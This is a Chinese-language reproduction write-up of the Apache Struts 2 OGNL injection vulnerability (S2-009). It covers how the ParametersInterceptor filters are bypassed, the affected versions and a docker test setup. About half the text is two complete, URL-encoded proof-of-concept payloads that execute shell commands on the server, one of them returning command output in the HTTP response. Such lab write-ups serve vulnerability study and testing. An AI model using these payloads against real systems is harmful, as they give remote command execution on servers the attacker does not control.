漏洞简介
除其他功能外,OGNL还提供广泛的表达评估功能。该漏洞使恶意用户可以绕过内置在ParametersInterceptor中的所有保护(正则表达式模式,拒绝方法调用),从而能够在任何公开的字符串变量中注入恶意表达式以进行进一步评估。
S2-003和S2-005中已经解决了类似的问题,但事实证明,基于将可接受的参数名称列入白名单而产生的修复程序仅部分缓解了该漏洞。
ParametersInterceptor中的正则表达式将top ['foo'](0)
匹配为有效表达式,OGNL将其视为(top['foo'])(0)
,并将'foo'
操作参数的值作为OGNL表达式进行评估。这使恶意用户可以将任意OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句位于HTTP参数值中,因此攻击者可以使用列入黑名单的字符(例如#)来禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
影响版本
Struts 2.0.0 - Struts 2.3.1.1
漏洞复现
环境准备
CentOS 7 64 bit (内含有docker环境)
测试地址:http://your-ip/ajax/example5
POC-无回显(可用来写入一句话--验证不成功)
?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
POC-下载文件回显
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]